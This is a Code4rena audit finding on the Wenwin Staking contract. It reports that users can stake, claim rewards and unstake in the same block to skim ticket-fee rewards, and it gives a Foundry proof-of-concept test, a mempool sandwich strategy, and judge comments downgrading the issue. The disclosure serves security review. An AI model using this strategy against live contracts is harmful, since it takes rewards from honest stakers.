Malicious user can steal rewardTokens by staking, getting rewards and then unstaking in the same block

[code423n4]

Lines of code

https://github.com/code-423n4/2023-03-wenwin/blob/91b89482aaedf8b8feb73c771d11c257eed997e8/src/staking/Staking.sol#L61 https://github.com/code-423n4/2023-03-wenwin/blob/91b89482aaedf8b8feb73c771d11c257eed997e8/src/staking/Staking.sol#L91

Vulnerability details

Impact

LOT holders can stake and unstake in the same block, and receive rewards for the tickets bought in the interim. This means they are leeching on the rewards without taking any risk. They can listen in the mempool for purchased tickets, then sandwich them between staking-and-unstaking to get the reward without actually staking. This attack is especially more profitable when the number of stakers are small and the number of tickets purchased is big. For example, somebody buying tickets for his favorite numbers for a whole year ahead.

Proof of Concept

The POC for this is given below:

function testGetRewardsSingleStaker() public {
        vm.prank(address(lottery));
        uint256 preRewardClaimBalance;
        stakingToken.mint(STAKER, 100);  //mints user some tokens
        emit log_named_decimal_uint("balance", stakingToken.balanceOf(STAKER),18); //starting balance
        vm.startPrank(STAKER);
        stakingToken.approve(address(staking), 1);

        for(uint256 i=0; i< 3; i++) {  //3 times.
            stakingToken.approve(address(staking), 1);  
            staking.stake(1);  //stakes 1 token
            buySameTickets(lottery.currentDraw()+uint128(i), uint120(0x0F), address(0), 4);   //someone buys tickets
            preRewardClaimBalance = rewardToken.balanceOf(STAKER);  //starting balance
            assertEq(staking.earned(STAKER), TICKET_FEE * 4);  //check user earnings
            staking.getReward();  //get the reward
            assertEq(rewardToken.balanceOf(STAKER) - preRewardClaimBalance, TICKET_FEE * 4);  //make sure his balance increased
            staking.withdraw(1);  //unstake
            vm.stopPrank();
            finalizeDraw(0);  //finalize the current draw. past forward to next timestamp etc.
            vm.startPrank(STAKER); 
            stakingToken.approve(address(staking), 1);  //approve for next stake
            emit log_named_decimal_uint("balance", stakingToken.balanceOf(STAKER),18); 
            emit log_named_decimal_uint("balance", rewardToken.balanceOf(STAKER),18); 
        }
    }

Basically how this works is:

1. User waits for some rewards to be accumulated in the staking contract.
2. He stakes some LOT tokens using the stake function.
3. In the same block, he calls the getReward function. Which sends him rewards as per the current reward ratio.
4. Again, in the same block he calls the withdraw function and unstakes all his tokens.
5. He waits some more lottery tickets to be sold so that more rewards are accumulated.
6. And then repeat steps 1-5.

In this specific POC, user does this 3 times and in between each try 4 tickets are bought. In the end his rewardToken balance was 12000000000000000000.

This happens because the earned function doesnt calculate the rewards correctly.

    function earned(address account) public view override returns (uint256 _earned) {
        return balanceOf(account) * (rewardPerToken() - userRewardPerTokenPaid[account]) / 1e18 + rewards[account];
    }

You can see that the rewards are independent of the amount of time the tokens are held in the contract. Instead it only depends on the current balance.

Tools Used

VS code, Foundry, Manual analysis

Recommended Mitigation Steps

Adjust the formula to make sure that the holding time is accounted in determining the rewards for a user.

[c4-judge]

thereksfour marked the issue as duplicate of #479

[c4-judge]

thereksfour changed the severity to 2 (Med Risk)

[c4-judge]

thereksfour marked the issue as duplicate of #126

[c4-judge]

thereksfour changed the severity to QA (Quality Assurance)